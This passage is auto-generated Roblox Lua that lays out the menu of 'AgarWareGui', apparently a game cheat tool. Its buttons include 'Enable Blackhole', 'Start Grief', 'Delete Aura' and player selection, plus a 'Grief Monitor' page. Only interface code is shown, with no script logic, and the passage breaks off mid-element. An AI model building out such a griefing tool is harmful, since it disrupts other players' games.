G2L["1c2"]["BorderSizePixel"] = 0;
G2L["1c2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c2"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1c2"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1c2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c2"]["Name"] = [[BlackholeLagRow]];
G2L["1c2"]["LayoutOrder"] = 11;
G2L["1c2"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlackholeLagRow.BlackholeLagScript
G2L["1c3"] = Instance.new("LocalScript", G2L["1c2"]);
G2L["1c3"]["Name"] = [[BlackholeLagScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlackholeLagRow.BlackholeLagText
G2L["1c4"] = Instance.new("TextLabel", G2L["1c2"]);
G2L["1c4"]["BorderSizePixel"] = 0;
G2L["1c4"]["TextSize"] = 14;
G2L["1c4"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1c4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c4"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1c4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c4"]["BackgroundTransparency"] = 1;
G2L["1c4"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1c4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c4"]["Text"] = [[Enable Blackhole]];
G2L["1c4"]["Name"] = [[BlackholeLagText]];
G2L["1c4"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlackholeLagRow.BlackholeLagTickBox
G2L["1c5"] = Instance.new("TextButton", G2L["1c2"]);
G2L["1c5"]["TextSize"] = 14;
G2L["1c5"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1c5"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1c5"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1c5"]["Text"] = [[]];
G2L["1c5"]["Name"] = [[BlackholeLagTickBox]];
G2L["1c5"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.TPBlackholeRow
G2L["1c6"] = Instance.new("Frame", G2L["1a7"]);
G2L["1c6"]["BorderSizePixel"] = 0;
G2L["1c6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c6"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1c6"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1c6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c6"]["Name"] = [[TPBlackholeRow]];
G2L["1c6"]["LayoutOrder"] = 20;
G2L["1c6"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.TPBlackholeRow.TPBlackholeButton
G2L["1c7"] = Instance.new("TextButton", G2L["1c6"]);
G2L["1c7"]["TextSize"] = 14;
G2L["1c7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c7"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["1c7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1c7"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["1c7"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1c7"]["Text"] = [[Bring Blackhole]];
G2L["1c7"]["Name"] = [[TPBlackholeButton]];
G2L["1c7"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.OrbitBlackholeRow
G2L["1c8"] = Instance.new("Frame", G2L["1a7"]);
G2L["1c8"]["BorderSizePixel"] = 0;
G2L["1c8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c8"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1c8"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1c8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c8"]["Name"] = [[OrbitBlackholeRow]];
G2L["1c8"]["LayoutOrder"] = 12;
G2L["1c8"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.OrbitBlackholeRow.OrbitBlackholeText
G2L["1c9"] = Instance.new("TextLabel", G2L["1c8"]);
G2L["1c9"]["BorderSizePixel"] = 0;
G2L["1c9"]["TextSize"] = 14;
G2L["1c9"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1c9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c9"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1c9"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c9"]["BackgroundTransparency"] = 1;
G2L["1c9"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1c9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c9"]["Text"] = [[Orbit]];
G2L["1c9"]["Name"] = [[OrbitBlackholeText]];
G2L["1c9"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.OrbitBlackholeRow.OrbitBlackholeChanger
G2L["1ca"] = Instance.new("TextBox", G2L["1c8"]);
G2L["1ca"]["Name"] = [[OrbitBlackholeChanger]];
G2L["1ca"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["1ca"]["TextWrapped"] = true;
G2L["1ca"]["TextSize"] = 14;
G2L["1ca"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["1ca"]["TextScaled"] = true;
G2L["1ca"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1ca"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1ca"]["PlaceholderText"] = [[(10)]];
G2L["1ca"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["1ca"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["1ca"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1ca"]["Text"] = [[]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.OrbitBlackholeRow.OrbitBlackholeTickBox
G2L["1cb"] = Instance.new("TextButton", G2L["1c8"]);
G2L["1cb"]["TextSize"] = 14;
G2L["1cb"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1cb"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1cb"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1cb"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1cb"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1cb"]["Text"] = [[]];
G2L["1cb"]["Name"] = [[OrbitBlackholeTickBox]];
G2L["1cb"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlackholeLabelRow
G2L["1cc"] = Instance.new("Frame", G2L["1a7"]);
G2L["1cc"]["BorderSizePixel"] = 0;
G2L["1cc"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1cc"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1cc"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1cc"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1cc"]["Name"] = [[BlackholeLabelRow]];
G2L["1cc"]["LayoutOrder"] = 10;
G2L["1cc"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlackholeLabelRow.BlackholeLabelText
G2L["1cd"] = Instance.new("TextLabel", G2L["1cc"]);
G2L["1cd"]["BorderSizePixel"] = 0;
G2L["1cd"]["TextSize"] = 14;
G2L["1cd"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1cd"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1cd"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1cd"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1cd"]["BackgroundTransparency"] = 1;
G2L["1cd"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1cd"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1cd"]["Text"] = [[Blackhole:]];
G2L["1cd"]["Name"] = [[BlackholeLabelText]];
G2L["1cd"]["Position"] = UDim2.new(0.02367, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup
G2L["1ce"] = Instance.new("Frame", G2L["186"]);
G2L["1ce"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["1ce"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["1ce"]["Size"] = UDim2.new(0, 170, 0, 123);
G2L["1ce"]["Position"] = UDim2.new(0, 0, 1.05278, 0);
G2L["1ce"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1ce"]["Name"] = [[GriefGroup]];
G2L["1ce"]["LayoutOrder"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefScript
G2L["1cf"] = Instance.new("LocalScript", G2L["1ce"]);
G2L["1cf"]["Name"] = [[GriefScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.UIListLayout
G2L["1d0"] = Instance.new("UIListLayout", G2L["1ce"]);
G2L["1d0"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefAccentColor
G2L["1d1"] = Instance.new("Frame", G2L["1ce"]);
G2L["1d1"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["1d1"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["1d1"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["1d1"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["1d1"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["1d1"]["Name"] = [[GriefAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefTitle
G2L["1d2"] = Instance.new("TextLabel", G2L["1ce"]);
G2L["1d2"]["TextWrapped"] = true;
G2L["1d2"]["BorderSizePixel"] = 0;
G2L["1d2"]["TextSize"] = 14;
G2L["1d2"]["TextScaled"] = true;
G2L["1d2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d2"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1d2"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["1d2"]["BackgroundTransparency"] = 0.95;
G2L["1d2"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["1d2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d2"]["Text"] = [[Grief]];
G2L["1d2"]["LayoutOrder"] = 1;
G2L["1d2"]["Name"] = [[GriefTitle]];
G2L["1d2"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefTitle.GriefMinimize
G2L["1d3"] = Instance.new("TextButton", G2L["1d2"]);
G2L["1d3"]["BorderSizePixel"] = 0;
G2L["1d3"]["TextSize"] = 14;
G2L["1d3"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d3"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1d3"]["BackgroundTransparency"] = 1;
G2L["1d3"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["1d3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d3"]["Text"] = [[-]];
G2L["1d3"]["Name"] = [[GriefMinimize]];
G2L["1d3"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.SelectDRow
G2L["1d4"] = Instance.new("Frame", G2L["1ce"]);
G2L["1d4"]["BorderSizePixel"] = 0;
G2L["1d4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d4"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1d4"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1d4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d4"]["Name"] = [[SelectDRow]];
G2L["1d4"]["LayoutOrder"] = 3;
G2L["1d4"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.SelectDRow.SelectDScript
G2L["1d5"] = Instance.new("LocalScript", G2L["1d4"]);
G2L["1d5"]["Name"] = [[SelectDScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.SelectDRow.SelectDDropdown
G2L["1d6"] = Instance.new("TextButton", G2L["1d4"]);
G2L["1d6"]["TextSize"] = 14;
G2L["1d6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d6"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["1d6"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1d6"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["1d6"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1d6"]["Text"] = [[]];
G2L["1d6"]["Name"] = [[SelectDDropdown]];
G2L["1d6"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GPLabelRow
G2L["1d7"] = Instance.new("Frame", G2L["1ce"]);
G2L["1d7"]["BorderSizePixel"] = 0;
G2L["1d7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d7"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1d7"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1d7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d7"]["Name"] = [[GPLabelRow]];
G2L["1d7"]["LayoutOrder"] = 2;
G2L["1d7"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GPLabelRow.GPLabelText
G2L["1d8"] = Instance.new("TextLabel", G2L["1d7"]);
G2L["1d8"]["BorderSizePixel"] = 0;
G2L["1d8"]["TextSize"] = 14;
G2L["1d8"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1d8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d8"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1d8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d8"]["BackgroundTransparency"] = 1;
G2L["1d8"]["Size"] = UDim2.new(0, 114, 0, 20);
G2L["1d8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d8"]["Text"] = [[Select Players:]];
G2L["1d8"]["Name"] = [[GPLabelText]];
G2L["1d8"]["Position"] = UDim2.new(0.02367, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.HLBlockRow
G2L["1d9"] = Instance.new("Frame", G2L["1ce"]);
G2L["1d9"]["BorderSizePixel"] = 0;
G2L["1d9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d9"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1d9"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1d9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d9"]["Name"] = [[HLBlockRow]];
G2L["1d9"]["LayoutOrder"] = 4;
G2L["1d9"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.HLBlockRow.HLBlockScript
G2L["1da"] = Instance.new("LocalScript", G2L["1d9"]);
G2L["1da"]["Name"] = [[HLBlockScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.HLBlockRow.HLBlockTickBox
G2L["1db"] = Instance.new("TextButton", G2L["1d9"]);
G2L["1db"]["TextSize"] = 14;
G2L["1db"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1db"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1db"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1db"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["1db"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1db"]["Text"] = [[]];
G2L["1db"]["Name"] = [[HLBlockTickBox]];
G2L["1db"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.HLBlockRow.HLBlockText
G2L["1dc"] = Instance.new("TextLabel", G2L["1d9"]);
G2L["1dc"]["BorderSizePixel"] = 0;
G2L["1dc"]["TextSize"] = 14;
G2L["1dc"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["1dc"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1dc"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1dc"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1dc"]["BackgroundTransparency"] = 1;
G2L["1dc"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["1dc"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1dc"]["Text"] = [[Highlight Blocks]];
G2L["1dc"]["Name"] = [[HLBlockText]];
G2L["1dc"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.ToggleGriefRow
G2L["1dd"] = Instance.new("Frame", G2L["1ce"]);
G2L["1dd"]["BorderSizePixel"] = 0;
G2L["1dd"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1dd"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1dd"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1dd"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1dd"]["Name"] = [[ToggleGriefRow]];
G2L["1dd"]["LayoutOrder"] = 6;
G2L["1dd"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.ToggleGriefRow.ToggleGriefScript
G2L["1de"] = Instance.new("LocalScript", G2L["1dd"]);
G2L["1de"]["Name"] = [[ToggleGriefScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.ToggleGriefRow.ToggleGriefButton
G2L["1df"] = Instance.new("TextButton", G2L["1dd"]);
G2L["1df"]["TextSize"] = 14;
G2L["1df"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1df"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["1df"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1df"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["1df"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1df"]["Text"] = [[Start Grief]];
G2L["1df"]["Name"] = [[ToggleGriefButton]];
G2L["1df"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefAllRow
G2L["1e0"] = Instance.new("Frame", G2L["1ce"]);
G2L["1e0"]["BorderSizePixel"] = 0;
G2L["1e0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1e0"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["1e0"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["1e0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1e0"]["Name"] = [[GriefAllRow]];
G2L["1e0"]["LayoutOrder"] = 6;
G2L["1e0"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefAllRow.GriefAllScript
G2L["1e1"] = Instance.new("LocalScript", G2L["1e0"]);
G2L["1e1"]["Name"] = [[GriefAllScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefAllRow.GriefAllButton
G2L["1e2"] = Instance.new("TextButton", G2L["1e0"]);
G2L["1e2"]["TextSize"] = 14;
G2L["1e2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1e2"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["1e2"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1e2"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["1e2"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1e2"]["Text"] = [[Delete Aura]];
G2L["1e2"]["Name"] = [[GriefAllButton]];
G2L["1e2"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage
G2L["1e3"] = Instance.new("ScrollingFrame", G2L["17"]);
G2L["1e3"]["Visible"] = false;
G2L["1e3"]["Active"] = true;
G2L["1e3"]["BorderSizePixel"] = 0;
G2L["1e3"]["CanvasSize"] = UDim2.new(0, 0, 1.5, 0);
G2L["1e3"]["Name"] = [[TCODetectionPage]];
G2L["1e3"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0);
G2L["1e3"]["Size"] = UDim2.new(0, 349, 0, 233);
G2L["1e3"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1e3"]["Position"] = UDim2.new(0.02329, 0, 0.09398, 0);
G2L["1e3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1e3"]["ScrollBarThickness"] = 0;
G2L["1e3"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide
G2L["1e4"] = Instance.new("Frame", G2L["1e3"]);
G2L["1e4"]["BorderSizePixel"] = 0;
G2L["1e4"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["1e4"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["1e4"]["Position"] = UDim2.new(0, 0, 0.00439, 0);
G2L["1e4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1e4"]["Name"] = [[TCODetectionLeftSide]];
G2L["1e4"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.UIListLayout
G2L["1e5"] = Instance.new("UIListLayout", G2L["1e4"]);
G2L["1e5"]["Padding"] = UDim.new(0, 7);
G2L["1e5"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup
G2L["1e6"] = Instance.new("Frame", G2L["1e4"]);
G2L["1e6"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["1e6"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["1e6"]["Size"] = UDim2.new(0, 170, 0, 100);
G2L["1e6"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["1e6"]["Name"] = [[EnableGroup]];
G2L["1e6"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableScript
G2L["1e7"] = Instance.new("LocalScript", G2L["1e6"]);
G2L["1e7"]["Name"] = [[EnableScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableToolTip
G2L["1e8"] = Instance.new("LocalScript", G2L["1e6"]);
G2L["1e8"]["Name"] = [[EnableToolTip]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.UIListLayout
G2L["1e9"] = Instance.new("UIListLayout", G2L["1e6"]);
G2L["1e9"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableAccentColor
G2L["1ea"] = Instance.new("Frame", G2L["1e6"]);
G2L["1ea"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["1ea"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["1ea"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["1ea"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["1ea"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["1ea"]["Name"] = [[EnableAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableTitle
G2L["1eb"] = Instance.new("TextLabel", G2L["1e6"]);
G2L["1eb"]["TextWrapped"] = true;
G2L["1eb"]["BorderSizePixel"] = 0;
G2L["1eb"]["TextSize"] = 14;
G2L["1eb"]["TextScaled"] = true;
G2L["1eb"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1eb"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1eb"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["1eb"]["BackgroundTransparency"] = 0.95;
G2L["1eb"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["1eb"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1eb"]["Text"] = [[Grief Monitor]];
G2L["1eb"]["LayoutOrder"] = 1;
G2L["1eb"]["Name"] = [[EnableTitle]];
G2L["1eb"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableTitle.EnableMinimize
G2L["1ec"] = Instance.new("TextButton", G2L["1eb"]);
G2L["1ec"]["BorderSizePixel"] = 0;
G2L["1ec"]["TextSize"] = 14;
G2L["1ec"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1ec"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1ec"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1ec"]["BackgroundTransparency"] = 1;
G2L["1ec"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["1ec"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1ec"]["Text"] = [[-]];
G2L["1ec"]["Name"] = [[EnableMinimize]];
G2L["1ec"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableTitle.EnableHelp
G2L["1ed"] = Instance.new("TextButton", G2L["1eb"]);
G2L["1ed"]["TextSize"] = 14;
G2L["1ed"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
